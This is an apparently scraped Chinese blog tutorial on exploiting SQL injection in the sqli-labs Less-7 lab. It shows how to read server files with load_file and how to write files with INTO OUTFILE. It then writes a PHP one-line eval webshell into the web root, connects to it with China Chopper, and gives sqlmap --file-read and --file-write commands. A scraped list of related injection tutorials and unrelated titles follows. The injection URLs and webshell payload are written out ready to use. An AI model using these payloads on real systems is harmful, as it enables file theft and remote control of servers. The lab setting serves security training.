利用SQL注入进行文件读写(详细步骤的实现+图)【靶场:sqli-labs/Less-7】

2023-11-06

原理啊,成因啊就不再啰嗦了,直接上实现过程。

一)环境:

攻击机:192.168.67.140
目标主机:192.168.67.143

二)实际操作:

利用mysql的读写文件函数进行文件的读取:

在目标主机的(win7-2)E盘下新建一个flag.txt文件,可以通过输入 select load_file("E:\\flag.txt"); 命令读取指定路径下的flag.txt文件的内容:
在这里插入图片描述
在这里插入图片描述
在实际中通过漏洞利用进行文件读取:

在攻击机(win7-1)中访问存在SQL注入的网站(如目标主机win7-2中的sqli-labs)中构造url:

http://192.168.67.143/sqli/Less-1/?id=-1' union select 1,load_file("F:\\flag.txt"),3 --+   #一定要知道文件的绝对路径

在这里插入图片描述
2)MySQL注入写文件(要先知道目标主机相关绝对路径)

如果是实际的环境就会有一台攻击机(hacker机器)【192.168.67.140】,一台目标主机(目标用户的机器)【192.168.67.143】,然后攻击者在攻击机中访问 http://192.168.67.143/sqli/Less-7/?id=1')) order by 3 --+ ,接着在攻击机中访问 http://192.168.67.143/sqli/Less-7/?id=1')) union select 1,'<?php phpinfo();?>',3 into outfile 'C:\\phpstudy\\PHPTutorial\\WWW\\sqli\\Less-7\\1.php' --+ 此时就会在目标主机中写入一个攻击者想要写入的1.php文件,如果这个写入的文件是攻击者准备好的木马文件那么,目标主机就被写入了一个木马文件,那么攻击者就可以利用中国菜刀进行连接到目标主机获得其所有目录。

接着在存在SQL注入的网站(如sqli-labs)中构造url:

http://192.168.67.143/sqli/Less-7/?id=1')) order by 3 --+   说明有3个字段位置

在这里插入图片描述
在这里插入图片描述

192.168.67.143/sqli/Less-7/?id=-1')) union select 1,'<?php phpinfo();?>',3 into outfile 'E:\\phpStudy\\WWW\\sqli\\Less-7\\1.php' --+

此时就将 phpinfo() 的内容写入到目标主机192.168.67.143 的 E:\phpStudy\WWW\sqli\Less-7 路径下并创建一个1.php文件

效果图:
原本 E:\phpStudy\WWW\sqli\Less-7 路径下没有1.php文件:
在这里插入图片描述

利用SQL注入写文件之后 E:\phpstudy\PHPTutorial\WWW\sqli\Less-7 路径下自动生成1.php文件:
在这里插入图片描述
此时可以使用攻击机浏览器访问192.168.67.143/sqli/Less-7/1.php:
在这里插入图片描述
3)写入webshell(一句话木马,并使用菜刀进行连接)
在攻击机中构造url:

192.168.67.143/sqli/Less-7/?id=-1')) union select 1,'<?php @eval($_POST["x"]);?>',3 into outfile 'E:\\phpStudy\\WWW\\sqli\\Less-7\\2.php' --+

在这里插入图片描述
此时就将一句话木马写入到目标主机192.168.67.143 的 E:\phpStudy\WWW\sqli\Less-7 路径下并创建一个2.php文件
在这里插入图片描述
接着利用中国菜刀连接:
在这里插入图片描述
此时就可以在攻击机中查看目标主机的完整目录。

4)sqlmap安全测试

python sqlmap.py -hh  #查看详细的帮助信息
读文件:--file-read "要读取的文件所在绝对路径"
       python sqlmap.py -u "http://192.168.67.140/sqli/Less-7/?id=1" --file-read "E://flag1.txt"   
写文件(将本地文件上载到数据库服务器的文件系统):--file-write="要保存到服务器的本地文件(必须是在本地也就是攻击机中已经存在的文件)" --file-dest "本地也就是攻击机中已经存在的文件要在目标网站中保存的地址"
       python sqlmap.py -u "http://192.168.67.140/sqli/Less-7/?id=1" --file-write="E://flag.txt" --file-dest "E://"

在这里插入图片描述
在这里插入图片描述

python sqlmap.py -u "http://192.168.67.140/sqli/Less-7/?id=1" --file-read "E://flag1.txt" --batch

在这里插入图片描述

结果:
在这里插入图片描述
在这里插入图片描述

python sqlmap.py -u "http://192.168.67.140/sqli/Less-7/?id=1" --file-write "E://flag.txt" --file-dest "E://target.txt" --batch

在这里插入图片描述

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

利用SQL注入进行文件读写(详细步骤的实现+图)【靶场:sqli-labs/Less-7】 的相关文章

  • 基于错误信息的SQL盲注

    何谓盲注 在SQL注入基础一文中介绍了SQL注入的基本原理 可以轻易注入的原因是知道SQL拼接代码是怎么写的 很多情况下 很难甚至无法知道对方的SQL拼接语句是怎么写的 这里情况下需要做尝试 分析代码是采用何种拼接结构 然后再写个万能注入公
  • sqlmap --os-shell 使用方法

    一 burp suite抓包 如上图所示 红框处很明显是一个传参点 我们就在这个页面抓包 抓到包之后将内容保存到桌面的1000 txt文件下 二 sqlmap跑包 打开sqlmap跑包 python sqlmap py r C Users
  • sqli-labs:less-21

    和20题很像 然后一看cookie是一个base64编码的 解码一下 是Dumb 所以cookie一个是注入点 只是有个base64编码 随便提一下 base32 只有大写字母和数字数字组成 或者后面有三个等号 base64 只有大写字母和
  • sqli-labs(31-40)

    人过留名 雁过留声 人生天地间 凡有大动静处 必有猪头 Less 31 源码分析 和 Less 29 相似 就是参数使用双引号 括号引用了 注入的时候注意闭合即可 Less 32 源码分析 check addslashes 转义的字符有 反
  • 使用PhpStudy进行sqli-labs注入实验时,出现特殊符号被分斜杠“\”转义,导致注入失败

    在进行sqli labs注入时 特殊字符被转义的情况主要是PHP study工具中的设置问题 打开phpstudy工具所在的文件夹 需要更改其文件夹下的 PHP 文件夹中的php ini配置文件 将配置文件中的 magic quotes g
  • SQL注入系列之ASP+ACCESS手动注入(一)----数字型

    一 access数据库 1 简介 Microsoft Office Access是由微软发布的关系数据库管理系统 它结合了 MicrosoftJet Database Engine 和 图形用户界面两项特点 是 Microsoft Offi
  • SQLi-Labs 学习笔记(Less 51-65)

    点击打开链接 Less 51 本关的Sql语句为 plain view plain copy sql SELECT FROM users ORDER BY id 因为此处用的是执行多个针对数据库的查询函数 mysqli multi quer
  • 利用SQL注入进行文件读写(详细步骤的实现+图)【靶场:sqli-labs/Less-7】

    原理啊 成因啊就不再啰嗦了 直接上实现过程 一 环境 攻击机 192 168 67 140 目标主机 192 168 67 143 二 实际操作 利用mysql的读写文件函数进行文件的读取 在目标主机的 win7 2 E盘下新建一个flag
  • 详解union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘ ‘--+

    此文章是记录本人对知识理解的随手笔记 内容不肯定百分百正确 如有错误望指出并谅解 1 group concat函数是将查询到的每行结果以某个字段名进行合并 每一行合并的结果以逗号分隔开 可以结合以下例子理解 下图是没使用group conc
  • sqli-labs-less-12 PODT传参+有回显信息(图文详解)

    Less 12 post传递参数 由于是post传参 我们先用burp suite抓包 分析报文体 获取传参过程 得到报文体之后使用hackbar插件中的post data进行注入实验 判断闭合方式 uname or 1 1 passwd
  • 宽字节注入讲解

    我讨厌现在的自己 一边压抑着自己的情绪 一边装作没事的样子 一到深夜就彻底崩溃了 天亮后还要微笑面对生活 网易云热评 一 原理 1 单字节字符集 所有的字符都使用一个字节来表示 比如 ASCII 编码 0 127 2 多字节字符集 在多字节
  • iwebsec靶场 SQL注入漏洞通关笔记5- updatexml注入(报错型盲注)

    系列文章目录 iwebsec靶场 SQL注入漏洞通关笔记1 数字型注入 mooyuan的博客 CSDN博客 iwebsec靶场 SQL注入漏洞通关笔记2 字符型注入 宽字节注入 mooyuan的博客 CSDN博客 iwebsec靶场 SQL
  • sqli-labs:less-28(过滤了union和select)

    div div
  • 渗透测试——万能密码与POST注入

    1 万能密码的原理 数据库没有对前端输入的参数的合法性做过率 并且账号和密码 一起输入 可以通过编写恶意语句 将用户与密码的输入结果判断为真 就实现了万能密码的登录 2 万能密码实例 查询语句select from KaTeX parse
  • 基于Sqli-Labs靶场的SQL注入-1~4关

    less 1 Less4联合注入讲解 目录 less 1 基于字符型 单引号 注入点的联合注入 注入类型判断 猜解数据库中字段数 爆破数据库库名以及版本号 爆破数据库中的表名以及数据库安装路径 爆破某张表中的列名以及当前数据库的用户名 查询
  • 无痕渗透“INSERT INTO”型SQL注入

    原文链接 http www mathyvanhoef com 2011 10 exploiting insert into sql injections html 在某个寂静的深夜 你徘徊在一个网站中 其中包含一个可提交form 需要你输入
  • sqlilabs—less8

    文章目录 Sqlilabs less8 1 判断注入点 2 爆字段 3 判断数据库 1 判断数据库名长度 2 判断数据库名称 4 判断表 1 有几个表 2 分别判断表长度 3 分别判断表名称 5 判断列 1 判断表中有几个字段 有几列 2
  • sqli-labs解题大法29 ~40

    Less 29 堆叠查询 在一条语句之后加上分号 然后接下一条语句 可以一次执行多条语句 order by 排序 可以 联合查询 可以 参考Less 1 Background 6 服务器 两层 架构 http www cnblogs com
  • sqlmap过SQLi-LABS靶场 11-20关

    第11关 后面基本都是post注入了 不过我们用的是神器sqlmap 我们先随便输入 然后bp抓包 把抓到的包保存问txt格式 然后在sqlmap 指定他 用 r sqlmap py r C Users Administrator Desk
  • 【SQL注入-15】自动化注入案例—以sqli-labs-less9为例(利用sqlmap工具)

    目录 1 前言 2 自动化注入案例 以sqli labs less9为例 2 1 实验平台 2 2 注入前准备 2 3 判断注入点及注入类型 2 3 1 自动判断注入点及注入类型 2 3 2 手动判断注入点及注入点类型 2 4 爆库名 2

随机推荐

  • 实时音频编解码之二编码学数学知识

    本文谢绝任何形式转载 谢谢 1 3 编码数学算法 1 3 1 定点和浮点 编码的一些参数是经过定标和量化的 然后再将其送入区间编码器进一步压缩数据量 为了降低执行编解码的内存和算力要求 Opus编码器中很多地方使用了Q定标方式将浮点数转化为
  • DTMF通信系统设计—基于MATLAB和STM32

    文章目录 1 摘要 2 设计任务 3 课程设计主要解决的问题 4 设计内容 4 1 整体设计方案 4 2 详细设计内容 5 结果与分析 5 1 基于MATLAB 的DTMF 通信系统 5 2 双机通信模拟 5 2 基于单片机的DTMF 通信
  • C语言堆排序

    堆排序 Heapsort 是一种在时间复杂度上达到了最优的基于比较的排序算法 堆排序算法是指利用堆这种数据结构所设计的一种排序算法 堆积是一个近似完全二叉树的结构 并同时满足堆积的性质 即子节点的键值或索引总是小于 或者大于 它的父节点 堆
  • 为什么想来我们公司工作?- 面试常见问题解析

    在面试的过程中 你的面试官可能会问你这样一个问题 你为什么想在我们公司工作 这是面试最常见的问题之一 这个问题看似简单 但回答时一定要提前有所准备 一般来说 面试官在面试时提问这个问题是希望通过应聘者的回答来衡量应聘者对他们公司的感兴趣程度
  • 综述:运动目标跟踪算法

    运动目标跟踪算法总结 1 传统的目标跟踪算法 运动目标跟踪 首先对目标进行有效地表达 然后在接下来的视频序列的每一帧中找到相似度与目 标最大的区域 从而确定目标在当前帧中的位置 早期的生成式方法主要有两种思路 1 依赖于目标外观模型 通过对
  • 华为2018校园招聘(提前批) 笔试 输出ascii最小的最长连续字符串

    题目 给定一串字符 里面有些字符有连续出现的特点 请寻找这些连续字符串中最长的串 如果最长的串有多个 请输出ascii最小的个 思路 利用start和end来记录当前连续出现的子字符串的起始位置 如果当前字符串长度 gt 历史最大长度或者两
  • 【OpenCV学习笔记】【算法学习】一(模板匹配)

    include
  • OpenCV的常用函数

    OpenCV的常用函数 1 imread函数 2 namedWindow函数 3 imshow函数 4 输出图像到文件 imwrite函数 1 imread函数 首先 我们看imread函数 可以在OpenCV官方文档中查到其原型如下 Ma
  • 2023年交通与智慧城市国际会议ICoTSC 2023

    会议日期 2023 5 26 至 2023 5 28 会议简介 2023年交通与智慧城市国际会议 ICoTSC 2023 重要信息 会议网址 www icotsc org 会议时间 2023年7月28 30日 召开地点 长沙 截稿时间 20
  • Unity3D相关面试题

    Unity3D相关面试题 第一部分 1 请简述值类型与引用类型的区别 2 C 中所有引用类型的基类是什么 3 请简述ArrayList和List的主要区别 4 请简述GC 垃圾回收 产生的原因 并描述如何避免 5 请描述Interface与
  • 一个简洁的cublasSmatinvBatched应用示例

    可以简单地粘贴放入一个cuBLAS sample的文件中替代运行 一个简介的cublasSmatinvBatched 示例 Includes system include
  • Mindmanager如何可以取消自动首字母大写

    主页 字体 设置字体样式 格式字体 文本和大写 文本大写 无 参考网址 https tieba baidu com p 3752136361
  • SSM整合框架(spring+spring MVC)

    SSM整合框架 spring spring MVC 1 创建数据库配置文件database propreties driver com mysql jdbc Driver url jdbc mysql localhost 3306 数据库名
  • 编译安装webos

    一 安装手册 https www openwebosproject org docs build guide UwLO5mKSzlA 二 安装步骤 1 安装依赖库 sudo apt get update sudo apt get insta
  • raise NoReverseMatch("%s is not a registered namespace" % key)

    很蛋疼 第一次仿照写django项目也是出现这个问题 现在又跟着追梦人物的博客又写了一遍 昨晚因为这个问题搞到晚上一点多 出现的问题 raise NoReverseMatch s is not a registered namespace
  • MySQL主从复制(主:linux Redhat MySQL 5.1;从:win10,MySQL5.5)

    MySQL主从复制 主 linux Redhat MySQL 5 1 从 win10 MySQL5 5 主MySQL设置 从MySQL设置 查看主服务状态 show master status 注意事项 主MySQL设置 在linux中的
  • Q Learning学习笔记

    Q Learning学习笔记 这两天跟着莫烦大神的视频将强化学习 Reinforcement Learning 中的Q Learning学了一遍 颇有收获 便记录于此 希望大家不吝赐教 欢迎补充纠错 文章目录 Q Learning学习笔记
  • R语言小作业2(向量操作)

    任务一 生成简单向量 任务内容 生成如下向量 金融1801甲 金融1801乙 金融1802甲 金融1802乙 金融1803甲 金融1803乙 金融1804甲 金融1804乙 代码及结果 gt x lt paste 金融 rep c 1801
  • ubuntu系统构建VNC虚拟远程桌面

    文章目录 1 准备工作 2 安装ubuntu远程桌面 2 1 Gnome安装 2 2 xface安装 3 安装VNC服务器 4 配置VNC服务 4 1 VNC密码设置 4 2 启动脚本设置 4 3 启动VNCSERVER 4 4 查看开启的
  • 利用SQL注入进行文件读写(详细步骤的实现+图)【靶场:sqli-labs/Less-7】

    原理啊 成因啊就不再啰嗦了 直接上实现过程 一 环境 攻击机 192 168 67 140 目标主机 192 168 67 143 二 实际操作 利用mysql的读写文件函数进行文件的读取 在目标主机的 win7 2 E盘下新建一个flag